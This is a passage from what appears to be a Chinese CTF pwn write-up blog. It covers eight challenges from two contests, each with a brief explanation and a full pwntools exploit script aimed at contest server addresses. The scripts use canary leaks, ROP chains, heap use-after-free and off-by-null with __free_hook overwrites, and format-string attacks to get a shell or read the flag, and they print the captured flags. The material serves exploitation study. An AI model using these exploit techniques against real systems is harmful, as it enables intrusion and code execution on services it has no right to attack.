show(0x1b)
ru("Content: ")
libc_base = u64Leakbase(0x3ec0b0)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
lg("libc_base",libc_base)
lg("free_hook",free_hook)
lg("system",system)
sleep(1)

add(0x1c,0xe8)
add(0x1d,0xe8)
delete(0x1d)
delete(0x1c)
edit(0x16,p64(free_hook))
add(0x1e,0xe8)
add(0x1f,0xe8)
edit(0x1f,p64(system))
edit(0x14,'/bin/sh\x00'+"\x11"*0x10)
delete(0x14)
it()

#flag{chz1IrUaAgSELXLciMeRB2XMeWQVZAKl}

五、pwnpwn

泄露canary后直接ret2plt即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./pwnpwn"
context.binary = binary
libc = ELF(context.binary.libc.path)
#elf = ELF(binary)
context.timeout = 0.2

global p


local = 0
if local:
p = process(context.binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(context.binary)
else:
p = remote("124.71.156.217","49155")
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

menu = "your choice>>"

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.interactive()
myGdb.sendline('b *$rebase(0xdbd)')
myGdb.close()
pause()
#b *$rebase(0xdbd)

def dbg():
gdb.attach(p)
pause()

def gdb_b(addr):
gdb.attach(p, "b *$rebase({0}) \n c".format(addr))
sleep(0.5)

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))


main_addr = elf.sym['main']
system_addr = elf.plt['system']
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63

sla("welcome to mimic world,try something\n",'1')
ru("let us give you some trick\n0x")
elf_base = int(rc(12),16) - 0x9b9
lg("elf_base",elf_base)
sl("2")
ru("hello\n")
payload = ""
payload += "M"*(0x68)
sl(payload)
ru("M"*(0x68))
canary = u64(rc(8))-0xa
lg("canary",canary)

payload1 = ""
payload1 += "D"*(0x68)
payload1 += p64(canary)
payload1 += "D"*8
payload1 += p64(elf_base + pop_rdi_ret)
payload1 += p64(elf_base + 0x202010)
payload1 += p64(elf_base + system_addr)
payload1 += p64(elf_base + main_addr)


sl(payload1)
p.interactive()

#flag{63YGBWA1c0pfPrLqhQPiiGJCOl7JWMD9}

六、random_heap

这道题目比较有意思,虽然是最简单的UAF,但是不知道为什么每次都会随机更换bin中chunk的位置,但是对应的索引chunk其实还是不变的,所以直接爆破就好。但是这个也可以通过填满0x100以下大小的tcache来更大概率getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./random_heap"
context.binary = binary
libc = ELF(context.binary.libc.path)
#elf = ELF(binary)
context.timeout = 0.2

global p


local = 0
if local:
p = process(context.binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(context.binary)
else:
p = remote("124.71.140.198","49153")
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

menu = "Your choice: "

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.interactive()
myGdb.sendline('b *$rebase(0xdbd)')
myGdb.close()
pause()
#b *$rebase(0xdbd)

def dbg():
gdb.attach(p)
pause()

def gdb_b(addr):
gdb.attach(p, "b *$rebase({0}) \n c".format(addr))
sleep(0.5)

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def add(idx,size):
sla(menu,'1')
sla('Index: ',str(idx))
sla('Size: ',str(size))
def edit(idx,con):
sla(menu,'2')
sla('Index: ',str(idx))
sla('Content: ',con)
def show(idx):
sla(menu,'3')
sla('Index: ',str(idx))
def delete(idx):
sla(menu,'4')
sla('Index: ',str(idx))


#normal UAF
add(0,0x98)
add(1,0x28)
for i in range(8):
edit(0,"D"*16)
delete(0)
#leak libc
show(0)
libc_base = u64Leakbase(96+0x10+libc.sym['__malloc_hook'])

__free_hook_addr = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
lg("libc_base",libc_base)
lg("__free_hook_addr",__free_hook_addr)
lg("system_addr",system_addr)
add(2,0x28)
delete(2)
edit(2,p64(__free_hook_addr)+p64(0))
edit(1,'/bin/sh\x00')

dbg()
#prented random
while True:
try:
add(3,0x48)
add(4,0x48)
edit(4,p64(system_addr))
edit(3,'/bin/sh\x00')
delete(3)
delete(4)
except:
it()

#flag{bdcef975ec2589f3e58d105d06587798}

七、bornote

这道题目贼傻逼,最开始依据urandom申请了一个随机大小chunk,导致堆布局会失效。但是由于题目设置,实际上也就存在大概十来种大小的chunk,选一个实例爆破一下即可。但是最开始我居然还以为这个是很随机的,直接假设申请了240大小的Chunk,结果爆了一晚上都没爆出来,实在是傻逼了。之后就是正常的2.31下的off by null了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./note"
context.binary = binary
libc = ELF(context.binary.libc.path)
#elf = ELF(binary)
context.timeout = 0.2

global p

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

menu = "cmd: "

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.interactive()
myGdb.sendline('b *$rebase(0xdbd)')
myGdb.close()
pause()
#b *$rebase(0xdbd)

def dbg():
gdb.attach(p)
pause()

def gdb_b(addr):
gdb.attach(p, "b *$rebase({0}) \n c".format(addr))
sleep(0.5)

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def add(size):
sla(menu, "1")
sla("Size: ", str(size))

def delete(idx):
sla(menu, "2")
sla("Index: ", str(idx))

def show(idx):
sla(menu, "4")
sla("Index: ", str(idx))

def edit(idx,con):
sla(menu, "3")
sla("Index: ", str(idx))
sla("Note: ", con)

def pwn():
sla("username: ","DBDX")
add(0x478)
add(0x478)
add(0x478)
delete(0)
delete(1)
delete(2)

#0x9f0
add(0x118)
edit(0,'\x11'*0x10)
add(0x418) #1 fd 0x---2b0
add(0x108) #2
add(0x418) #3
add(0x438) #4 unlink_chunk 0x---c00
add(0x108) #5
add(0x428) #6 bk 0x---150
add(0x208) #7
#left fd bk in 0x---c00
delete(1)
delete(4)
delete(6)
#merge and carve to get 0x---c20 and change size which in 0x---c00
delete(3)

add(0x438) #8 set size
edit(1,'\x08'*0x418 + '\x91'+'\x0b')

#reply
add(0x418) # 9 0x---c20
add(0x428) # 10 bk 0x---150
add(0x418) # 11 fd 0x---2b0

#repair fd
delete(6) #0x---2b0 11
delete(3) #0x---c20 9
add(0x418) # 12 0x---2b0 to overflow \x00 in fd
edit(3,'DBDXZNBA')
add(0x418) # 13 0x---c20


#repair bk
delete(6) #13
delete(4) #4

add(0x5f8) #14 let 0x---150 0x---c20 into largebin

add(0x428) # 15 0x---150 to overflow \x00 in fd
edit(6,'')

#trigger off-by-null
edit(7,'\x77'*0x200+p64(0xb90))
add(0x18)
delete(4)
add(0x18)
add(0x3d8)
show(4)
ru("Note: ")
libc_base = u64Leakbase(96+0x10+libc.sym['__malloc_hook'])
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
one = libc_base + 0xe6c81
lg("libc_base",libc_base)
lg("free_hook",free_hook)
lg("system_addr",system_addr)
delete(0)
delete(2)
add(0x48)
add(0x18)

delete(1)
delete(3)
delete(2)
delete(8)

edit(0,'/bin/sh\x00'+p64(0x0)
+p64(0x440)+p64(0x20)
+p64(free_hook))

add(0x18)
add(0x18)

edit(2,p64(one))
delete(0)
it()


i = 0
while True:
i += 1
log.info("Times:%d"%i)
try:
p = remote("121.36.250.162",49153)
#p = process("./bornote")
pwn()
except EOFError:
p.close()
continue
else:
p.interactive()
break



#flag{d483f651c1cbcad9a7bb87d04d498ea7}

八、oldecho

这道题目最有意思了,close(1),然后循环的格式化字符串。需要改stdout的fileno为2才能恢复输出。同时由于close(1),导致格式化输出printf的大小不能太大,大概0x2000左右就不行了,所以也需要爆破一下。之后又由于栈环境问题,这里给了栈地址,但也是需要爆破一下最后的一些大小问题,大概设置在一定范围可控。

此外由于栈上没有stdout,所以需要抬栈,比赛的时候没做过改fileno的,是学长做的。赛后照着自己的思路复现了一下,先覆盖返回地址返回到上一层函数,即main函数中,之后再返回到start,之后就使得可以在栈上留下IO_2_1_stout。(这里具体为什么会出现我也不太懂)

然后就是改返回地址,pop rbp将输入的bss段给rbp,然后借助leave ret指令将rbp给到rsp,劫持栈到输入的bss段上,之后就是正常的ORW。

这里借助栈寻找gadget也是一个小难点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
from pwn import *
import sys

binary = "./oldecho"
context.log_level = "debug"
#context.binary = binary
context.arch = "amd64"
elf = ELF(binary)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


global p



def dbg():
gdb.attach(p)
pause()

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.close()
pause()
#b *$rebase(0xdbd)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()


def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))


def pwn():
#p = remote("123.60.32.152",49153)
p.recvuntil('Gift: ')
stack = int(p.recv(14),16)
log.info('Stack:\t' + hex(stack))
offset = 9
retval = stack&0xFFFF
if retval > 0x2000:
raise Exception("Invalid stack!")

retval1 = stack&0xFF
if retval1 <= 0x50:
raise Exception("Invalid stack!")

retval2 = stack&0xFF
if retval1 >= 0xe8:
raise Exception("Invalid stack!")

#return to 0xe40 main to get io_2_1_stdout
p.recv()
p.sendline('%' + str(((stack&0xFF) - 0x10)) + 'c%6$hhn')
p.sendline('%'+ str(0x40) + 'c%10$hhn')

#return to start
p.sendline('%' + str(((stack&0xFF) - 0x38)) + 'c%6$hhn')
p.sendline('%'+ str(0x3f) + 'c%10$hhn')


#change list to io
p.sendline('%' + str(((stack&0xFF) - 0x80)) + 'c%15$hhn')
#pause()

#change IO fileno
p.sendline('%' + str(0x90) + 'c%41$hhn')
p.sendline('%'+ str(0x2) + 'c%29$hhnGet')
# p.recvuntil('xxxx',timeout=0.5)
# #dockerDbg()
test = 'AAAA'
leakPl = "ELF:%7$p.Libc:%13$p"

# p.sendline(test)
ru("Get")
#dockerDbg()
p.sendline(leakPl)
#pause()
#p.interactive()
ru("ELF:0x")
elf_base = int(rc(12),16) -0xe1e
ru("Libc:0x")
libc_base = int(rc(12),16) - 240 -libc.sym['__libc_start_main']
if libc_base&0xFFFF > 0x2000:
raise Exception("Invalid Libc!")
# print(elf_base)
# print(libc_base)
lg("elf_base",elf_base)
lg("libc_base",libc_base)
#pause()

pop_rbp_r13_r14_ret =libc_base + 0x00000000000206d1
pop_rsi_ret = libc_base + 0x00000000000202f8
pop_rdi_ret = libc_base + 0x0000000000021112
pop_rdx_ret = libc_base + 0x0000000000001b92
pop_rdx_rsi = libc_base + 0x00000000001151c9
pop_rax_ret = libc_base + 0x000000000003a738
xchg_eax_esp_ret = libc_base + 0x0aa985
Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
Puts = libc_base + libc.sym['puts']
orw = './flag\x00\x00'
orw += p64(pop_rdi_ret) + p64(elf_base + 0x202060)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(Open)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(pop_rsi_ret) + p64(elf_base + 0x2020F0)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(Read)
orw += p64(pop_rdi_ret) + p64(elf_base + 0x2020F0)
orw += p64(Puts)



#dockerDbg()
p.sendline('%' + str(((stack&0xFF)+0x8)) + 'c%6$hhn')
p.sendline('%'+ str(0x60) + 'c%10$hhn')
#pause()


#dockerDbg()
p.sendline('%' + str(((stack&0xFF)+ 0x20)) + 'c%6$hhn')
p.sendline('%'+ str(0x3e) + 'c%10$hhn')
#pause()

#dockerDbg()
p.sendline('%' + str(((stack&0xFF))) + 'c%6$hhn')
p.sendline('%'+ str(pop_rbp_r13_r14_ret&0xFFFF) + 'c%10$hn')
#pause()


#dockerDbg()
payload = ""
payload += "Bye~"
payload = payload.ljust(0x20,'\x00')
payload += orw
p.sendline(payload)
it()


i = 0
while True:
i += 1
log.info("Times:%d"%i)
try:
p = process(binary)
pwn()
except EOFError:
p.close()
continue
except Exception:
p.close()
continue
else:
p.interactive()
break
it()


# flag{NpfH6fzHStuKl2CRfvheXWyKO3Bz60F5}

总的来说这次pwn着实有点水,和强网杯一比差好远啊。

鹤城杯WP

前言

这次比赛就坑爹

一、babyof

栈溢出白给,泄露地址后直接打即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
# -*- coding:UTF-8 -*-

from pwn import *
from LibcSearcher import *

#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./babyof"
#libc.so = "./libc-2.24.so"
#libc.so = ""

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)


#libcsearcher use
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
'''


local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc.so)
else:
p = remote("182.116.62.85","29394")
elf = ELF(binary)
#libc = ELF(libc.so)


puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x40066B

pop_rdi_ret = 0x400743
ret = 0x400744

payload = ""
payload += "A"*(64+8)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)


ru("Do you know how to do buffer overflow?\n")
sl(payload)
ru("I hope you win\n")
puts_addr = u64(rc(6).ljust(8,'\x00'))
log.info("puts_addr:0x%x"%puts_addr)

#libcsearcher use
obj = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - obj.dump('puts')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
one_gadget = libc_base + 0x10a41c
log.info("system_addr:0x%x"%system_addr)
log.info("binsh_addr:0x%x"%binsh_addr)


payload = ""
payload += "A"*(64+8)
payload += p64(one_gadget)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(main_addr)


ru("Do you know how to do buffer overflow?\n")
sl(payload)
p.interactive()

#flag{3c011eeb10d8b8256d4eeb1a700262d3}

二、littleof

栈溢出加canary,也是白给,就是不知道放个stdin file在栈上是啥意思

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
# -*- coding:UTF-8 -*-

from pwn import *
from LibcSearcher import *

#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./littleof"
#libc.so = "./libc-2.24.so"
#libc.so = ""

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)


#libcsearcher use
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
'''


local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc.so)
else:
p = remote("182.116.62.85","27056")
elf = ELF(binary)
#libc = ELF(libc.so)


def dbg():
gdb.attach(p)
pause()

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x400789

pop_rdi_ret = 0x400863
ret = 0x400864

payload1 = ""
payload1 += "A"*(0x50-0x8)
payload1 += "\x01"


ru("Do you know how to do buffer overflow?\n")
sd(payload1)
ru("A"*(0x50-0x8))
canary = u64(rc(8).ljust(8,'\x00'))-0x1
log.info("canary:0x%x"%canary)

payload2 = ""
payload2 += "A"*(0x50-0x8)
payload2 += p64(canary)
payload2 += "A"*(0x8)
payload2 += p64(pop_rdi_ret)
payload2 += p64(puts_got)
payload2 += p64(puts_plt)
payload2 += p64(main_addr)
#dbg()
sd(payload2)
#pause()
ru("I hope you win\n")
puts_addr = u64(rc(6).ljust(8,'\x00'))
log.info("puts_addr:0x%x"%puts_addr)

obj = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - obj.dump('puts')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
one_gadget = libc_base + 0x10a41c
log.info("system_addr:0x%x"%system_addr)
log.info("binsh_addr:0x%x"%binsh_addr)



payload = ""
payload += "A"*(0x50-0x8)
payload += p64(canary)
payload += "A"*(0x8)
payload += p64(one_gadget)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(main_addr)


ru("Do you know how to do buffer overflow?\n")
sl("A"*8)
ru("Try harder!")
sd(payload)
p.interactive()

#flag{3c011eeb10d8b8256d4eeb1a700262d3}

三、easyecho

利用canary的机制,检测到canary被篡改时,会打印程序的名字,而程序的名字在最开始就被放到栈上,可以通过溢出修改到该地址。然后backdoor之后,把原本指向程序名字的字符串指针,改为指向flag的指针即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# -*- coding:UTF-8 -*-

from pwn import *
from LibcSearcher import *

#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./easyecho"
#libc.so = "./libc-2.24.so"
#libc.so = ""

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)


#libcsearcher use
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
'''

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc.so)
else:
p = remote("182.116.62.85","24842")
elf = ELF(binary)
#libc = ELF(libc.so)

def dbg():
gdb.attach(p)
pause()

ru("Name: ")
sl("a"*0x10)
ru("a"*0x10)
elfbase=u64(rc(6).ljust(8,'\x00'))-0xcf0
lg('elfbase',elfbase)

ru("Input: ")
sl("backdoor")
ru("Input: ")
sl(0x2D*'PIG007NB'+p64(elfbase+0x202040))
ru("Input: ")
sl("exitexit")

p.interactive()

#flag{11dc27eed9e5277915c1dfd28992812b}

四、onecho

32位栈溢出加ORW,要么泄露栈地址,然后open打开栈上的flag指针,或者再读取,将flag字符串读取到一个可读可写的地方,这里可以选择malloc_hook或者free_hook。此外通过environ泄露栈地址,从栈上获取flag字符串指针也是可以的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
# -*- coding:UTF-8 -*-

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'i386'
SigreturnFrame(kernel = 'i386')

binary = "./onecho"
context.binary = binary
libc=ELF('/lib/i386-linux-gnu/libc-2.27.so')
#elf = ELF(binary)
context.timeout = 0.2



local = 1
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
else:
p = remote("182.116.62.85","24143")
elf = ELF(binary)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

menu = "your choice>>"

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.close()
pause()

def dbg():
gdb.attach(p)
pause()

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))


def add():
p.recvuntil('Give me your choice : ')
p.sendline('1')

main_addr = 0x0804973F
#pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pop_ebx_esi_edi_ebp_ret=0x08049810
ru('Input your name:')

#leak libc
payload=0x22*'PIG007NB'
payload += p32(pop_ebx_esi_edi_ebp_ret)
payload += p32(1)*4
payload += p32(elf.plt['puts'])
payload += p32(main_addr)
payload += p32(elf.got['puts'])

sl(payload)
#debug()

puts_addr = u32(ru('\xf7')[-4:])
obj = LibcSearcher("puts", puts_addr)
libc_base = puts_addr-obj.dump('puts')

lg('libc_base',libc_base)


malloc_hook_addr = libc_base + obj.dump("__malloc_hook")
free_hook_addr = libc_base + obj.dump("__free_hook")
read_addr = libc_base + obj.dump("read")
open_addr = libc_base + obj.dump("open")
write_addr = libc_base + obj.dump("write")
lg('__malloc_hook',malloc_hook_addr)
lg('free_hook_addr',free_hook_addr)
lg('read_addr',read_addr)
lg('open_addr',open_addr)
lg('write_addr',write_addr)

ru('Input your name:')
payload=0x22*'PIG007NB'
payload += p32(pop_ebx_esi_edi_ebp_ret)
payload += p32(1)*4
payload += p32(read_addr)
payload += p32(main_addr)
payload += p32(0)
payload += p32(0x0804C000)
payload += p32(0x6)
sl(payload)

sl('flag\x00')

ru('Input your name:')
payload=0x22*'PIG007NB'
payload += p32(pop_ebx_esi_edi_ebp_ret)
payload += p32(1)*4
payload += p32(open_addr)
payload += p32(main_addr)
payload += p32(0x0804C000)
payload += p32(2)
sl(payload)


ru('Input your name:')
payload=0x22*'PIG007NB'
payload += p32(pop_ebx_esi_edi_ebp_ret)
payload += p32(1)*4
payload += p32(read_addr)
payload += p32(main_addr)
payload += p32(3)
payload += p32(free_hook_addr)
payload += p32(0x30)
sl(payload)


ru('Input your name:')
payload=0x22*'PIG007NB'
